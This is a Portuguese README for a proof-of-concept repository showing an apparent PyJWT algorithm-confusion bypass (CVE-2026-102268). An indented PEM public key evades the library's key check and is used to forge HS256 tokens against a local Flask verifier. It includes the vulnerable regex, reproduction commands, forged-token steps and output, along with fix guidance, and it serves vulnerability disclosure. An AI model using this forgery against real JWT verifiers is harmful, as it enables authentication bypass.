
PoC de explorabilidade para CVE-2026-102-268 (bypass de detecção Asymmetric-PEM do PyJWT).
Resultado da análise de explorabilidade: a causa raiz está confirmada e a exploração ponta a ponta é reproduzível. Uma chave pública PEM com mutação de espaços em branco contorna a proteção
is_pem_format()do PyJWT e é aceita como um segredo HMAC válido, permitindo a falsificação completa de tokens HS256 contra qualquer verificador que permitaRS256juntamente comHS256. Consulte Análise para mais detalhes.
CVE-2026-102268 é uma vulnerabilidade de confusão de algoritmos no PyJWT. Antes de usar qualquer chave como segredo HMAC, HMACAlgorithm.prepare_key() chama is_pem_format() para rejeitar chaves que se pareçam com uma chave assimétrica ou certificado codificado em PEM — a defesa padrão contra ataques de confusão RS256/HS256.
is_pem_format() é uma única regex que exige uma adjacência exata de \r?\n entre o corpo da chave e os marcadores BEGIN/END. O próprio carregador PEM da cryptography não tem tal exigência. Um arquivo PEM com espaços em branco adjacentes aos marcadores, terminadores de linha apenas CR, ou dobrado em uma única linha é analisado como uma chave perfeitamente válida por cryptography.load_pem_public_key(), enquanto is_pem_format() retorna False nos bytes idênticos.
A consequência: a proteção de chave assimétrica nunca é acionada, a chave pública é aceita como segredo HMAC, e qualquer pessoa que possua essa chave pública — que é pública por definição — pode cunhar um token HS256 válido para qualquer verificador que permita tanto RS256 quanto HS256.
Este repositório contém um verificador Flask mínimo e uma chave de reprodução para confirmar essa afirmação ponta a ponta.
| Intervalo afetado | Corrigido em |
|---|---|
| < 2.14.0 | 2.14.0 |
A verificação vulnerável em jwt/utils.py (todas as versões anteriores à 2.14.0):
# jwt/utils.py — vulnerable
_PEM_RE = re.compile(
b"----[- ]BEGIN ("
+ b"|".join(_PEMS)
+ b""")[- ]----\r?
.+?\r?
----[- ]END \1[- ]----\r?\n?"""
)
def is_pem_format(key: bytes) -> bool:
return bool(_PEM_RE.search(key))
Condicionando a ela, em jwt/algorithms.py:
# jwt/algorithms.py — HMACAlgorithm.prepare_key()
if is_pem_format(key) or is_ssh_key(key):
raise InvalidKeyError(
"The specified key is an asymmetric key or x509 certificate and"
" should not be used as an HMAC secret."
)
Os separadores [- ] da regex toleram apenas um único hífen ou espaço diretamente adjacente aos hífens do marcador. Qualquer outro espaço em branco situado entre a nova linha final do corpo da chave e o marcador END — uma indentação, um \r perdido, uma única linha re-encapsulada — faz a correspondência falhar, então is_pem_format() reporta False em um arquivo que a cryptography analisa sem reclamar.
A correção (commit 8b4e233, lançada na 2.14.0) substitui a regex por um scanner de passagem única sobre o conjunto de marcadores BEGIN/END suportados que não depende de adjacência exata de nova linha — fechando este bypass e, na mesma alteração, um ReDoS relacionado na mesma função (CVE-2026-102270).
public_key.pem neste repositório é uma chave pública RSA comum de 2048 bits com uma alteração: a linha -----END PUBLIC KEY----- está indentada por quatro espaços.
1wIDAQAB
-----END PUBLIC KEY-----
openssl rsa -pubin -in public_key.pem -text -noout # parses cleanly, no warning
Executar utils.py confirma o bypass diretamente contra a biblioteca, independentemente do aplicativo Flask:
$ python utils.py
JWT encoded successfully: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
JWT decoded successfully: {'some': 'payload'}
jwt.encode(..., PUBLIC_KEY, algorithm="HS256") é bem-sucedido. Em um PyJWT corrigido (≥ 2.14.0), esta mesma chamada levanta InvalidKeyError — is_pem_format() sinaliza corretamente o arquivo como uma chave PEM independentemente da indentação, e o caminho HMAC o recusa. Aqui, não: a indentação de quatro espaços é suficiente para fazer a regex errar, e os bytes da chave pública são aceitos como um segredo HMAC comum.
app.py reproduz a pré-condição do mundo real — um verificador cuja lista de permissões de algorithms mistura o algoritmo assimétrico e o simétrico:
decoded_payload = jwt.decode(token, key=PUBLIC_KEY, algorithms=["RS256", "HS256"])
Um token forjado com a abordagem de utils.py, submetido a /verify, é aceito: /verify retorna 200 e as claims forjadas, para um token que ninguém que possua a chave privada jamais assinou.
cve-2026-102268-poc/
├── Dockerfile # Python 3.9-slim, installs PyJWT==2.4.0 (vulnerable)
├── podman-compose.yaml # Single-service compose for the verifier
├── requirements.txt # Flask, Werkzeug, PyJWT==2.4.0
├── app.py # Flask /verify route — algorithms=["RS256","HS256"]
├── utils.py # Standalone PoC: signs + verifies HS256 with PUBLIC_KEY
├── public_key.pem # RSA public key, END marker indented by 4 spaces
└── README.md
| Ferramenta | Versão | Notas |
|---|---|---|
| Podman | ≥ 4.0 | Docker também funciona |
| Python | ≥ 3.9 | Apenas para executar utils.py localmente |
| curl | qualquer | Para exercitar /verify diretamente |
podman-compose up -d
Aguarde alguns segundos, depois confirme que o serviço está ativo:
curl -si http://localhost:8080/verify -X POST \
-H 'Content-Type: application/json' -d '{}' | head -1
# Expected: HTTP/1.1 400 (missing token, but the service is reachable)
python utils.py
Isso assina {"some": "payload"} com public_key.pem usando HS256 e imprime o JWT resultante — a primitiva de falsificação. Copie o token codificado.
curl -s http://localhost:8080/verify \
-H 'Content-Type: application/json' \
-d '{"token": "<forged-jwt-here>"}'
podman-compose down
Repita o passo 2 com PyJWT>=2.14.0 instalado no lugar do 2.4.0 fixado em requirements.txt. jwt.encode() levanta InvalidKeyError antes que um token seja sequer produzido.
============================================================
CVE-2026-102268 — PyJWT Asymmetric-PEM Detection Bypass PoC
============================================================
Key : public_key.pem (RSA public key, END marker indented)
Target : http://localhost:8080/verify
------------------------------------------------------------
[1] Signing forged token with PUBLIC_KEY as HS256 secret...
[+] JWT encoded successfully:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9...
[2] Submitting forged token to /verify (algorithms=["RS256","HS256"])...
------------------------------------------------------------
[✓] HTTP 200 — Access granted
{"message": "Access granted", "payload": {"some": "payload"}}